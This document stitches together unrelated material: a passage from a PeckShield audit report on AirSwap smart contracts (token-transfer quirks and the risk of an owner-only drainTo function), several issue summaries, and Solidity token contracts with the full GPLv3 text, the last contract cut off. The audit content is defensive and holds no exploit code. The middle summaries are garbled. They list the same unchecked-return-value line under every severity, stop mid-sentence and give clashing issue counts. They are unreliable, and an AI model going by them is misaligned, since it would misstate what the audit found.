implementation (but the IERC20interface expects a return value)! 168 /** 169 * @notice Unstake tokens 170 * @param amount uint256 171 */ 172 function unstake ( uint256 amount ) external override { 173 address account ; 174 delegateAccounts [ msg . sender ] != address (0) 175 ? account = delegateAccounts [ msg . sender ] 176 : account = msg . sender ; 177 _unstake ( account , amount ); 178 token . transfer ( account , amount ); 179 emit Transfer ( account , address (0) , amount ); 180 } Listing 3.6: Staking::unstake() Note this issue is also applicable to other routines in Swapand Poolcontracts. For the safeApprove ()support, there is a need to approve twice: the first time resets the allowance to zero and the second time approves the intended amount. Recommendation Accommodate the above-mentioned idiosyncrasy about ERC20-related 15/20 PeckShield Audit Report #: 2022-038Public approve()/transfer()/transferFrom() . Status This issue has been fixed in the following PRs: 781and 782. 3.4 Trust Issue of Admin Keys •ID: PVE-004 •Severity: Medium •Likelihood: Medium •Impact: Medium•Target: Multiple Contracts •Category: Security Features [5] •CWE subcategory: CWE-287 [2] Description In the AirSwapprotocol, there is a privileged owneraccount that plays a critical role in governing and regulating the system-wide operations (e.g., parameter setting and payee adjustment). It also has the privilege to regulate or govern the flow of assets within the protocol. With great privilege comes great responsibility. Our analysis shows that the owneraccount is indeed privileged. In the following, we show representative privileged operations in the Poolprotocol. 164 /** 165 * @notice Set staking token address 166 * @dev Only owner 167 * @param _stakingToken address 168 */ 169 function setStakingToken ( address _stakingToken ) external o v e r r i d e onlyOwner { 170 require ( _stakingToken != address (0) , " INVALID_ADDRESS " ) ; 171 stakingToken = _stakingToken ; 172 IERC20 ( stakingToken ) . approve ( s t a k i n g C o n t r a c t , 2 ∗∗256 −1) ; 173 } 175 /** 176 * @notice Admin function to migrate funds 177 * @dev Only owner 178 * @param tokens address [] 179 * @param dest address 180 */ 181 function drainTo ( address [ ] c a l l d a t a tokens , address d e s t ) 182 external 183 o v e r r i d e 184 onlyOwner 185 { 186 for (uint256 i = 0 ; i < tokens . length ; i ++) { 187 uint256 b a l = IERC20 ( tokens [ i ] ) . balanceOf ( address (t h i s ) ) ; 188 IERC20 ( tokens [ i ] ) . s a f e T r a n s f e r ( dest , b a l ) ; 189 } 190 emit DrainTo ( tokens , d e s t ) ; 16/20 PeckShield Audit Report #: 2022-038Public 191 } Listing 3.7: Various Privileged Operations in Pool We emphasize that the privilege assignment with various protocol contracts is necessary and required for proper protocol operations. However, it is worrisome if the owneris not governed by a DAO-like structure. We point out that a compromised owneraccount would allow the attacker to invoke the above drainToto steal funds in current protocol, which directly undermines the assumption of the AirSwap protocol. Recommendation Promptly transfer the privileged account to the intended DAO-like governance contract. All changed to privileged operations may need to be mediated with necessary timelocks. Eventually, activate the normal on-chain community-based governance life-cycle and ensure the in- tended trustless nature and high-quality distributed governance. Status This issue has been confirmed and partially mitigated with a multi-sig account to regulate the governance privileges. The multi-sig account is a standard Gnosis Safe wallet, which is controlled by multiple participants, who agree to propose and submit transactions as they relate to the DAO’s proposal submission and voting mechanism. This avoids risk of any single compromised EOA as it would require collusion of multiple participants. 17/20 PeckShield Audit Report #: 2022-038Public 4 | Conclusion In this audit, we have analyzed the design and implementation of the AirSwapprotocol, which curates a peer-to-peer network for trading digital assets. The protocol is designed to protect traders from counterparty risk, price slippage, and front running. Any market participant can discover others and trade directly peer-to-peer. The current code base is well structured and neatly organized. Those identified issues are promptly confirmed and addressed. Meanwhile, we need to emphasize that Solidity-based smart contracts as a whole are still in an early, but exciting stage of development. To improve this report, we greatly appreciate any constructive feedbacks or suggestions, on our methodology, audit findings, or potential gaps in scope/coverage. 18/20 PeckShield Audit Report #: 2022-038Public References [1] MITRE. CWE-1041: Use of Redundant Code. https://cwe.mitre.org/data/definitions/1041. html. [2] MITRE. CWE-287: ImproperAuthentication. https://cwe.mitre.org/data/definitions/287.html. [3] MITRE. CWE-563: Assignment to Variable without Use. https://cwe.mitre.org/data/ definitions/563.html. [4] MITRE. CWE-841: Improper Enforcement of Behavioral Workflow. https://cwe.mitre.org/ data/definitions/841.html. [5] MITRE. CWE CATEGORY: 7PK - Security Features. https://cwe.mitre.org/data/definitions/ 254.html. [6] MITRE. CWE CATEGORY: Bad Coding Practices. https://cwe.mitre.org/data/definitions/ 1006.html. [7] MITRE. CWE CATEGORY: Business Logic Errors. https://cwe.mitre.org/data/definitions/ 840.html. [8] MITRE. CWE VIEW: Development Concepts. https://cwe.mitre.org/data/definitions/699. html. [9] OWASP. Risk Rating Methodology. https://www.owasp.org/index.php/OWASP_Risk_ Rating_Methodology. 19/20 PeckShield Audit Report #: 2022-038Public [10] PeckShield. PeckShield Inc. https://www.peckshield.com. 20/20 PeckShield Audit Report #: 2022-038
Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 2 - Major: 1 - Critical: 1 - Observations: 1 - Unresolved: 0 Minor Issues 2.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 2.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Moderate 3.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 3.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Major 4.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 4.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Critical 5.a Problem (one line with code reference) - Unchecked return value in Issues Count of Minor/Moderate/Major/Critical Minor: 0 Moderate: 0 Major: 1 Critical: 0 Major 4.a Problem: Funds may be locked if is called multiple times setRuleAndIntent 4.b Fix: Adjusted program implementation, requirements or constraints to eliminate the risk. Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Ensure that the token transfer logic of Delegate.setRuleAndIntent and Indexer.setIntent are compatible. 2.b Fix: This issue has been fixed as of pull request. Moderate Issues: 3.a Problem: Centralization of Power in Smart Contracts 3.b Fix: This has been fixed by removing the pausing functionality, unsetIntentForUser() and killContract(). Major Issues: 0 Critical Issues: 0 Observations: • Smart contracts will often have variables to designate the person with special privileges to make modifications to the smart contract. • Integer arithmetic may cause incorrect pricing logic. Conclusion: The report has identified one minor and one moderate issue. Both issues have been fixed with the latest commit.
// Copyright (C) 2015, 2016, 2017 Dapphub // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // solhint-disable pragma solidity 0.5.12; contract WETH9 { string public name = "Wrapped Ether"; string public symbol = "WETH"; uint8 public decimals = 18; event Approval(address indexed _owner, address indexed _spender, uint _value); event Transfer(address indexed _from, address indexed _to, uint _value); event Deposit(address indexed _owner, uint _value); event Withdrawal(address indexed _owner, uint _value); mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; function() external payable { deposit(); } function deposit() public payable { balanceOf[msg.sender] += msg.value; emit Deposit(msg.sender, msg.value); } function withdraw(uint wad) public { require(balanceOf[msg.sender] >= wad); balanceOf[msg.sender] -= wad; msg.sender.transfer(wad); emit Withdrawal(msg.sender, wad); } function totalSupply() public view returns (uint) { return address(this).balance; } function approve(address guy, uint wad) public returns (bool) { allowance[msg.sender][guy] = wad; emit Approval(msg.sender, guy, wad); return true; } function transfer(address dst, uint wad) public returns (bool) { return transferFrom(msg.sender, dst, wad); } function transferFrom(address src, address dst, uint wad) public returns (bool) { require(balanceOf[src] >= wad); if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) { require(allowance[src][msg.sender] >= wad); allowance[src][msg.sender] -= wad; } balanceOf[src] -= wad; balanceOf[dst] += wad; emit Transfer(src, dst, wad); return true; } } /* GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/> Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the program's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: <program> Copyright (C) <year> <name of author> This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see <http://www.gnu.org/licenses/>. The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read <http://www.gnu.org/philosophy/why-not-lgpl.html>. */ pragma solidity 0.5.12; import "openzeppelin-solidity/contracts/access/roles/MinterRole.sol"; import "./AdaptedERC721.sol"; // This contract definiition is the same as ERC721Mintable, however it uses an // adapted ERC721 - with different event names contract NonFungibleToken is AdaptedERC721, MinterRole { /** * @dev Function to mint tokens. * @param to The address that will receive the minted tokens. * @param tokenId The token id to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address to, uint256 tokenId) public onlyMinter returns (bool) { _mint(to, tokenId); return true; } } pragma solidity 0.5.12; import "openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol"; contract FungibleToken is ERC20Mintable {} pragma solidity >=0.4.21 <0.6.0; contract Migrations { address public owner; uint public last_completed_migration; constructor() public { owner = msg.sender; } modifier restricted() { if (msg.sender == owner) _; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } function upgrade(address new_address) public restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } } pragma solidity ^0.5.0; import "openzeppelin-solidity/contracts/token/ERC721//IERC721Receiver.sol"; import "openzeppelin-solidity/contracts/math/SafeMath.sol"; import "openzeppelin-solidity/contracts/utils/Address.sol"; import "openzeppelin-solidity/contracts/drafts/Counters.sol"; import "openzeppelin-solidity/contracts/introspection/ERC165.sol"; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract AdaptedERC721 is ERC165 { using SafeMath for uint256; using Address for address; using Counters for Counters.Counter; // NEW EVENTS event NFTTransfer(address indexed from, address indexed to, uint256 indexed tokenId); event NFTApproval(address indexed owner, address indexed approved, uint256 indexed tokenId); event NFTApprovalForAll(address indexed owner, address indexed operator, bool approved); // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from token ID to owner mapping (uint256 => address) private _tokenOwner; // Mapping from token ID to approved address mapping 